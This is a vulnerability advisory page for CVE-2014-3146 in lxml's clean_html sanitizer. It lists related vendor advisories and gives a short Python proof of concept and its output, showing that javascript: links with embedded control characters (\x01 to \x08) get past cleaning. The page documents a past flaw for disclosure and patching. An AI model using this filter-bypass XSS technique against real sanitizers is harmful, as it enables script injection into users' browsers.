lxml - 'clean_html' Security Bypass
| Reporter | Title | Published | Views | Family All 74 |
|---|---|---|---|---|
 | CVE-2014-3146 | 14 May 201419:55 | – | attackerkb |
 | Amazon Linux 2 : python-lxml (ALAS-2023-1956) | 22 Feb 202300:00 | – | nessus |
| Debian DSA-2941-1 : lxml - security update | 3 Jun 201400:00 | – | nessus |
| EulerOS 2.0 SP9 : python-lxml (EulerOS-SA-2020-2235) | 21 Oct 202000:00 | – | nessus |
| EulerOS 2.0 SP5 : python-lxml (EulerOS-SA-2020-2296) | 30 Oct 202000:00 | – | nessus |
| EulerOS 2.0 SP8 : python-lxml (EulerOS-SA-2020-2529) | 14 Dec 202000:00 | – | nessus |
| EulerOS 2.0 SP2 : python-lxml (EulerOS-SA-2021-1352) | 22 Feb 202100:00 | – | nessus |
| EulerOS Virtualization 3.0.6.6 : python-lxml (EulerOS-SA-2021-1514) | 4 Mar 202100:00 | – | nessus |
| EulerOS 2.0 SP3 : python-lxml (EulerOS-SA-2021-1839) | 30 Apr 202100:00 | – | nessus |
| EulerOS Virtualization for ARM 64 3.0.2.0 : python-lxml (EulerOS-SA-2021-2109) | 2 Jul 202100:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/67159/info
lxml is prone to a security-bypass vulnerability.
An attacker can leverage this issue to bypass security restrictions and perform unauthorized actions. This may aid in further attacks.
Versions prior to lxml 3.3.5 are vulnerable.
from lxml.html.clean import clean_html
html = '''\
<html>
<body>
<a href="javascript:alert(0)">
aaa</a>
<a href="javas\x01cript:alert(1)">bbb</a>
<a href="javas\x02cript:alert(1)">bbb</a>
<a href="javas\x03cript:alert(1)">bbb</a>
<a href="javas\x04cript:alert(1)">bbb</a>
<a href="javas\x05cript:alert(1)">bbb</a>
<a href="javas\x06cript:alert(1)">bbb</a>
<a href="javas\x07cript:alert(1)">bbb</a>
<a href="javas\x08cript:alert(1)">bbb</a>
<a href="javas\x09cript:alert(1)">bbb</a>
</body>
</html>'''
print clean_html(html)
Output:
<div>
<body>
<a href="">aaa</a>
<a href="javascript:alert(1)">
bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="javascript:alert(1)">bbb</a>
<a href="">bbb</a>
</body>
</div>Data
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03 Jan 2016 00:00Current
6Medium risk
Vulners AI Score6
CVSS 24.3
CVSS 3.16.1
EPSS0.06333
SSVC